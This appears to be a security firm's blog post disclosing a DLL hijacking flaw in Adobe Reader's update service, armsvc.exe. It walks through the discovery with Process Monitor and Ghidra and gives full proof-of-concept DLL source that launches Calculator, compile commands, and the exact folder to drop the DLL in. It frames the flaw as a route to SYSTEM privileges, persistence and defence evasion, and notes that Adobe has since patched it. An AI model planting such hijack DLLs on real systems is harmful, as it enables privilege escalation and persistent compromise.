Huw’s Zero-Day Vulnerability

Discovering a ‘Zero-Day’

 

As part of Shearwater’s Managed Security Operations Team, I regularly come across all kinds of exploitable vulnerabilities.

If neglected, these could allow hackers to breach an organisation’s defences, potentially causing irreparable damage.

In most cases, the vulnerabilities I come across are already well-known to security experts. Usually, patches exist to fix them.

However, discovering a new bug for the first time, one that isn’t known by software vendors, security researchers or the general public, is quite rare.

Such a vulnerability is known as a ‘Zero-Day’.

This is the story of how I recently discovered a ‘Zero-Day’ bug in the widely used Adobe Reader.

One day, while performing some vulnerability research, I noticed that the Adobe Update Service runs from a slightly unusual path (Common Files).

Huw’s Zero-Day Vulnerability

While not inherently dangerous, it drew my attention enough to look a little deeper into the service. The AdobeARMService is installed with Adobe Reader, runs as LocalSystem and has the task of keeping Adobe Reader up to date.

I checked the service and binary permissions and did not discover any misconfigurations. Next up, I had to work out how the service functioned. For that purpose, I installed Sysinternal’s Process Monitor, set it up to capture events and ran the armsvc.exe binary.

Huw’s Zero-Day Vulnerability

I noticed the program calls out to a DLL that does not exist, this suggested the possibility of a DLL Injection.

Windows has a defined search order for DLL files when invoked by a program. Interestingly this program was only looking in the local directory and C:\Windows\SysWOW64\, not the entire search path, suggesting it may be a hardcoded reference. If it was a hardcoded refence leftover from development, there is a good chance the program would not be checking that the DLL was signed. If that was the case, by placing a specially crafted DLL in that path, I would be able to execute arbitrary code.

To test my theory, I needed to discover what function the armsvc.exe was trying to load from the DLL. To that end I used the NSA’s reverse engineering tool Ghidra.

Huw’s Zero-Day Vulnerability

Reversing the binary, we can see that it tries to load the UnloadUserProfile function from USERENV.dll. With this knowledge, we can code our own DLL, create a function with that name and whatever code we want to include, export the function and have armsvc.exe load and execute it.

For a proof of concept, we can make the function pop open Calculator.

Proof Of Concept Code:
###############################USERENV.cpp
====================================================================
#include “windows.h”
BOOL APIENTRY DllMain(HMODULE hModule,
       DWORD ul_reason_for_call,
       LPVOID lpReserved
)
{
       switch (ul_reason_for_call)
       {
       case DLL_PROCESS_ATTACH:
              WinExec(“calc”, SW_NORMAL);
       case DLL_THREAD_ATTACH:
       case DLL_THREAD_DETACH:
       case DLL_PROCESS_DETACH:
              break;
       }
       return TRUE;
}
extern “C” __declspec(dllexport) void UnloadUserProfile()
{
       WinExec(“calc”, SW_NORMAL);
}
====================================================================
Compile with
# i686-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL USERENV.cpp
# i686-w64-mingw32-g++ -shared -o USERENV.dll USERENV.o

 

Note that I compiled on Linux with mingw, the code may need to be tweaked for a Visual Studio compilation on Windows.

Copy USERENV.dll to C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\

Run C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe and observe Calculator being run proving arbitrary code execution.

Huw’s Zero-Day Vulnerability

 

A malicious actor could use this vulnerability for Privilege Escalation to SYSTEM, for Persistence and for Signed Execution, Whitelisting Bypass/Defence Evasion.

The root cause of this vulnerability was the non-existent DLL reference and not ensuring loaded DLLs are signed.

Thankfully, Adobe moved swiftly to release security updates to fix this ‘Zero-Day’ bug. Click here for further details and remediation solutions.

It’s a timely reminder to everyone to stay on top of software updates and make sure you regularly update patches to keep your systems secure.